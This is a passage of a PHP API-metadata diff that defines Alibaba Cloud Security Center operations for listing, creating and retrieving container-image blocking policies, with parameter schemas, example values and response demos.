=> 'testlabel', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => 'PageResult', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '策略列表。', + 'type' => 'array', + 'items' => [ + 'description' => '策略对象。', + 'type' => 'object', + 'properties' => [ + 'StrategyId' => [ + 'description' => '策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'StrategyName' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'auto-strategy-vohuiq', + ], + 'Description' => [ + 'description' => '描述。', + 'type' => 'string', + 'example' => 'Config the Event Audit policys', + ], + 'UnScanedImage' => [ + 'description' => '该规则是否支持未扫描镜像。取值：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'example' => 'true', + ], + 'MaliciousImage' => [ + 'description' => '该规则是否支持互联网恶意镜像。取值：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Action' => [ + 'description' => '策略执行的动作。取值：'."\n" + ."\n" + .'- **1**：告警'."\n" + .'- **2**：拦截'."\n" + .'- **3**：放行', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ClusterCount' => [ + 'description' => '策略生效的集群数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ClusterIdList' => [ + 'description' => '策略生效的集群列表。', + 'type' => 'array', + 'items' => [ + 'description' => '策略生效的集群。', + 'type' => 'string', + 'example' => 'cfb41a8**8a106', + ], + ], + 'ImageName' => [ + 'description' => '镜像名称。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像名称。', + 'type' => 'string', + 'example' => 'centos', + ], + ], + 'Label' => [ + 'description' => '容器标签。', + 'type' => 'array', + 'items' => [ + 'description' => '容器标签。', + 'type' => 'string', + 'example' => 'alertmanager:main', + ], + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '45', + ], + 'Count' => [ + 'description' => '当前页显示的资产的条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '导出结果提示信息。固定值：**success**。表示导出成功。', + 'type' => 'string', + 'example' => 'success', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7DFD947C-9172-5129-B783-DD14C55191D2', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"StrategyId\\": 1,\\n \\"StrategyName\\": \\"auto-strategy-vohuiq\\",\\n \\"Description\\": \\"Config the Event Audit policys\\",\\n \\"UnScanedImage\\": true,\\n \\"MaliciousImage\\": true,\\n \\"Action\\": 1,\\n \\"ClusterCount\\": 1,\\n \\"ClusterIdList\\": [\\n \\"cfb41a8**8a106\\"\\n ],\\n \\"ImageName\\": [\\n \\"centos\\"\\n ],\\n \\"Label\\": [\\n \\"alertmanager:main\\"\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"7DFD947C-9172-5129-B783-DD14C55191D2\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取风险镜像阻断策略列表', + ], + 'CreateOpaStrategyNew' => [ + 'summary' => '创建风险镜像阻断策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '174285', + 'abilityTreeNodes' => [ + 'FEATUREsasZLVTBH', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略ID。'."\n" + .'>调用[ListOpaClusterStrategyNew](~~2623574~~)接口可以获取该参数。'."\n" + ."\n" + .'创建策略时此参数无效。>', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '16', + ], + ], + [ + 'name' => 'StrategyTemplateId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略模板ID。'."\n" + .'>调用[GetOpaStrategyTemplateSummary](~~2539952~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '109', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '集群ID。'."\n" + .'>已废弃。>', + 'type' => 'string', + 'required' => false, + 'example' => 'cfa7e2fb8c221483ba59e098c34c6****', + ], + ], + [ + 'name' => 'StrategyName', + 'in' => 'query', + 'schema' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'default', + ], + ], + [ + 'name' => 'Description', + 'in' => 'query', + 'schema' => [ + 'description' => '策略描述。', + 'type' => 'string', + 'required' => false, + 'example' => 'default policy', + ], + ], + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '集群名称。'."\n" + ."\n" + .'>已废弃。>', + 'type' => 'string', + 'required' => false, + 'example' => '*', + ], + ], + [ + 'name' => 'UnScanedImage', + 'in' => 'query', + 'schema' => [ + 'description' => '该策略是否支持未扫描镜像。取值：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'MaliciousImage', + 'in' => 'query', + 'schema' => [ + 'description' => '该策略是否支持互联网恶意镜像。取值：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'ImageName', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '镜像名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像名称。'."\n" + .'> 您可通过调用[GetOpaClusterImageList](~~2539885~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'testImage', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Label', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '容器标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器标签。'."\n" + .'> 您可通过调用[GetOpaClusterLabelList](~~2539885~~)接口查询该值（TagName）。', + 'type' => 'string', + 'required' => false, + 'example' => 'app.kubernetes.io/component:collector', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'RuleAction', + 'in' => 'query', + 'schema' => [ + 'description' => '策略命中时执行操作。取值：'."\n" + ."\n" + .'- **1**：告警'."\n" + .'- **2**：拦截'."\n" + .'- **3**：放行', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'WhiteList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '白名单列表。', + 'type' => 'array', + 'items' => [ + 'description' => '策略白名单，为镜像名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'repo-06', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'AlarmDetail', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '策略包含的告警内容详情。', + 'type' => 'object', + 'properties' => [ + 'Baseline' => [ + 'description' => '基线。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high', + ], + 'required' => false, + ], + 'Item' => [ + 'description' => '基线检查项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '需要校验的基线检查项。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '基线检查项ID。'."\n" + .'> 您可通过调用[GetOpaClusterBaseLineList](~~2539883~~)接口查询该值（ItemKey）。', + 'type' => 'string', + 'required' => false, + 'example' => 'hc.image.checklist.identify.hc_exploit_couchdb_linux.item', + ], + 'Name' => [ + 'description' => '基线检查项名称。'."\n" + .'> 您可通过调用[GetOpaClusterBaseLineList](~~2539883~~)接口查询该值（Alias）。', + 'type' => 'string', + 'required' => false, + 'example' => 'Unauthorized access to CouchDB configuration risk', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + 'required' => false, + ], + 'Vul' => [ + 'description' => '漏洞项目信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high', + ], + 'required' => false, + ], + 'Item' => [ + 'description' => '漏洞列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞对象。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '漏洞ID。'."\n" + .'> 您可通过调用[DescribeVulListPage](~~471928~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'CVE-2023-36034', + ], + 'Name' => [ + 'description' => '漏洞名称。'."\n" + .'> 您可通过调用[DescribeVulListPage](~~471928~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'Microsoft Edge vul', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + 'RiskClass' => [ + 'description' => '漏洞类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞类型列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '漏洞类型ID。取值：'."\n" + .'- **cve**：系统漏洞'."\n" + .'- **app**：应用漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + 'Name' => [ + 'description' => '漏洞类型名称。取值：'."\n" + .'- **系统漏洞**'."\n" + .'- **应用漏洞**', + 'type' => 'string', + 'required' => false, + 'example' => '系统漏洞', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + 'required' => false, + ], + 'MaliciousFile' => [ + 'description' => '恶意样本信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high', + ], + 'required' => false, + ], + 'Item' => [ + 'description' => '恶意样本列表。', + 'type' => 'array', + 'items' => [ + 'description' => '恶意样本。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '恶意样本ID。'."\n" + .'> 您可通过调用[DescribeMatchedMaliciousNames](~~DescribeMatchedMaliciousNames~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => '3685699', + ], + 'Name' => [ + 'description' => '恶意样本名称。'."\n" + .'> 您可通过调用[DescribeMatchedMaliciousNames](~~DescribeMatchedMaliciousNames~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'abnormal binary file', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + 'required' => false, + ], + 'SensitiveFile' => [ + 'description' => '敏感文件信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级，取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'low', + ], + 'required' => false, + ], + 'Item' => [ + 'description' => '敏感文件检查项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '敏感文件检查项列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '敏感文件类型ID。'."\n" + .'> 您可通过调用[GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'key', + ], + 'Name' => [ + 'description' => '敏感文件类型名称。'."\n" + .'> 您可通过调用[GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'name', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + 'required' => false, + ], + 'BuildRisk' => [ + 'description' => '镜像风险构建命令信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'low', + ], + 'required' => false, + ], + 'Item' => [ + 'description' => '风险项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险项列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '镜像风险构建命令类型ID。'."\n" + .'> 您可通过调用[ListImageBuildRiskItem](~~ListImageBuildRiskItem~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'key', + ], + 'Name' => [ + 'description' => '镜像风险构建命令类型名称。'."\n" + .'> 您可通过调用[ListImageBuildRiskItem](~~ListImageBuildRiskItem~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'name', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + 'required' => false, + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'Scopes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '作用域', + 'description' => '策略作用范围列表。', + 'type' => 'array', + 'items' => [ + 'description' => '策略作用范围。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '策略包含的集群ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~421736~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'cc50d***015d2', + ], + 'AllNamespace' => [ + 'description' => '是否包含所有命名空间。取值：'."\n" + ."\n" + .'- **1**：是'."\n" + .'- **0**：否', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'NamespaceList' => [ + 'description' => '命名空间列表。'."\n" + ."\n" + .'>本参数只有当AllNamespace为0时有效。>', + 'type' => 'array', + 'items' => [ + 'description' => '命名空间。'."\n" + .'> 您可以调用[GetOpaClusterNamespaceList](~~2539886~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'namespace1', + ], + 'required' => false, + 'maxItems' => 100, + ], + 'AckPolicyInstanceId' => [ + 'description' => '集群内策略实例ID。'."\n" + ."\n" + .'>创建时无需此参数。>', + 'type' => 'string', + 'required' => false, + 'example' => 'ack-p-1', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '操作是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，否则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '返回结果的提示信息。', + 'type' => 'string', + 'example' => 'success', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CD380235-A0B8-540D-A0D5-D62884469E3C', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'Data' => [ + 'description' => '保存失败时，失败的集群ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '保存失败时，失败的集群ID。', + 'type' => 'string', + 'example' => '[\'cb8cd***b07ee5\']', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D62884469E3C\\",\\n \\"HttpStatusCode\\": 200,\\n \\"Data\\": [\\n \\"[\'cb8cd***b07ee5\']\\"\\n ]\\n}","type":"json"}]', + 'title' => '创建风险镜像阻断策略', + ], + 'GetOpaStrategyDetailNew' => [ + 'summary' => '获取风险镜像阻断策略详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略ID。'."\n" + .'>调用[ListOpaClusterStrategyNew](~~2623574~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1349', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'StrategyId' => [ + 'description' => '策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1005', + ], + 'StrategyTemplateId' => [ + 'description' => '策略模板ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1204', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', + ], + 'StrategyName' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'test001', + ], + 'Description' => [ + 'description' => '描述。', + 'type' => 'string', + 'example' => 'Custom defense configuration', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'UnScanedImage' => [ + 'description' => '策略是否支持未扫描镜像。取值：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'example' => 'true', + ], + 'MaliciousImage' => [ + 'description' => '策略是否支持互联网恶意镜像。取值：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'example' => 'true', + ], + 'ImageName' => [ + 'description' => '镜像名称。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像名称。', + 'type' => 'string', + 'example' => 'opa-test', + ], + ], + 'Label' => [ + 'description' => '镜像标签。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像标签。', + 'type' => 'string', + 'example' => 'app.kubernetes.io/instance:devops', + ], + ], + 'RuleAction' => [ + 'description' => '策略命中执行动作。取值：'."\n" + .'- **1**：告警'."\n" + .'- **2**：拦截'."\n" + .'- **3**：放行', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'WhiteList' => [ + 'description' => '镜像标签白名单。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像标签白名单。', + 'type' => 'string', + 'example' => 'test-tag', + ], + ], + 'AlarmDetail' => [ + 'description' => '策略配置信息。', + 'type' => 'object', + 'properties' => [ + 'Baseline' => [ + 'description' => '基线配置信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'low', + ], + ], + 'Item' => [ + 'description' => '基线项目信息。', + 'type' => 'array', + 'items' => [ + 'description' => '基线项目信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '基线检查项ID。', + 'type' => 'string', + 'example' => 'ak_leak', + ], + 'Name' => [ + 'description' => '基线检查项名称。', + 'type' => 'string', + 'example' => 'Access Key plaintext storage', + ], + ], + ], + ], + ], + ], + 'Vul' => [ + 'description' => '漏洞配置信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'medium', + ], + ], + 'Item' => [ + 'description' => '漏洞项目信息。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞项目信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '漏洞ID。', + 'type' => 'string', + 'example' => 'AVD-2023-1680169', + ], + 'Name' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'ezOffice evoInterfaceServlet Info Leak', + ], + ], + ], + ], + 'RiskClass' => [ + 'description' => '漏洞类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞类型列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '漏洞类型ID。取值：'."\n" + .'- **cve**：系统漏洞'."\n" + .'- **app**：应用漏洞', + 'type' => 'string', + 'example' => 'cve', + ], + 'Name' => [ + 'description' => '漏洞类型名称。取值：'."\n" + .'- **系统漏洞**'."\n" + .'- **应用漏洞**', + 'type' => 'string', + 'example' => '系统漏洞', + ], + ], + ], + ], + ], + ], + 'MaliciousFile' => [ + 'description' => '恶意样本配置信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'high', + ], + ], + 'Item' => [ + 'description' => '恶意样本项目信息。', + 'type' => 'array', + 'items' => [ + 'description' => '恶意样本项目信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '恶意样本ID。', + 'type' => 'string', + 'example' => '1811', + ], + 'Name' => [ + 'description' => '恶意样本名称。', + 'type' => 'string', + 'example' => 'abnormal binary file'."\n", + ], + ], + ], + ], + ], + ], + 'SensitiveFile' => [ + 'description' => '敏感文件信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级，取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'low', + ], + ], + 'Item' => [ + 'description' => '敏感文件检查项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '敏感文件检查项列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '敏感文件类型ID。'."\n" + .'> 您可通过调用[GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~)接口查询该值。', + 'type' => 'string', + 'example' => 'key', + ], + 'Name' => [ + 'description' => '敏感文件类型名称。'."\n" + .'> 您可通过调用[GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~)接口查询该值。', + 'type' => 'string', + 'example' => 'name', + ], + ], + ], + ], + ], + ], + 'BuildRisk' => [ + 'description' => '镜像风险构建命令信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'high', + ], + ], + 'Item' => [ + 'description' => '风险项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险项列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '镜像风险构建命令类型ID。'."\n" + .'> 您可通过调用[ListImageBuildRiskItem](~~ListImageBuildRiskItem~~)接口查询该值。', + 'type' => 'string', + 'example' => 'key', + ], + 'Name' => [ + 'description' => '镜像风险构建命令类型名称。'."\n" + .'> 您可通过调用[ListImageBuildRiskItem](~~ListImageBuildRiskItem~~)接口查询该值。', + 'type' => 'string', + 'example' => 'name', + ], + ], + ], + ], + ], + ], + ], + ], + 'Scopes' => [ + 'title' => '作用域', + 'description' => '作用范围。', + 'type' => 'array', + 'items' => [ + 'description' => '策略作用范围列表。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '集群的ID。', + 'type' => 'string', + 'example' => 'c1fdb5fd8d**7163', + ], + 'AllNamespace' => [ + 'description' => '是否包含所有命名空间。取值：'."\n" + ."\n" + .'- **1**：是'."\n" + .'- **0**：否', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NamespaceList' => [ + 'description' => '命名空间列表。', + 'type' => 'array', + 'items' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'example' => 'namespace1', + ], + ], + 'AckPolicyInstanceId' => [ + 'description' => '集群内策略略实例ID。', + 'type' => 'string', + 'example' => 'ack-0', + ], + ], + ], + ], + 'Lang' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'example' => 'zh', + ], + 'CurrentPage' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'success', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E819FD71-D240-5E54-AA7F-20FED2ECBEB6', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"StrategyId\\": 1005,\\n \\"StrategyTemplateId\\": 1204,\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"StrategyName\\": \\"test001\\",\\n \\"Description\\": \\"Custom defense configuration\\",\\n \\"ClusterName\\": \\"test\\",\\n \\"UnScanedImage\\": true,\\n \\"MaliciousImage\\": true,\\n \\"ImageName\\": [\\n \\"opa-test\\"\\n ],\\n \\"Label\\": [\\n \\"app.kubernetes.io/instance:devops\\"\\n ],\\n \\"RuleAction\\": 1,\\n \\"WhiteList\\": [\\n \\"test-tag\\"\\n ],\\n \\"AlarmDetail\\": {\\n \\"Baseline\\": {\\n \\"RiskLevel\\": [\\n \\"low\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"ak_leak\\",\\n \\"Name\\": \\"Access Key plaintext storage\\"\\n 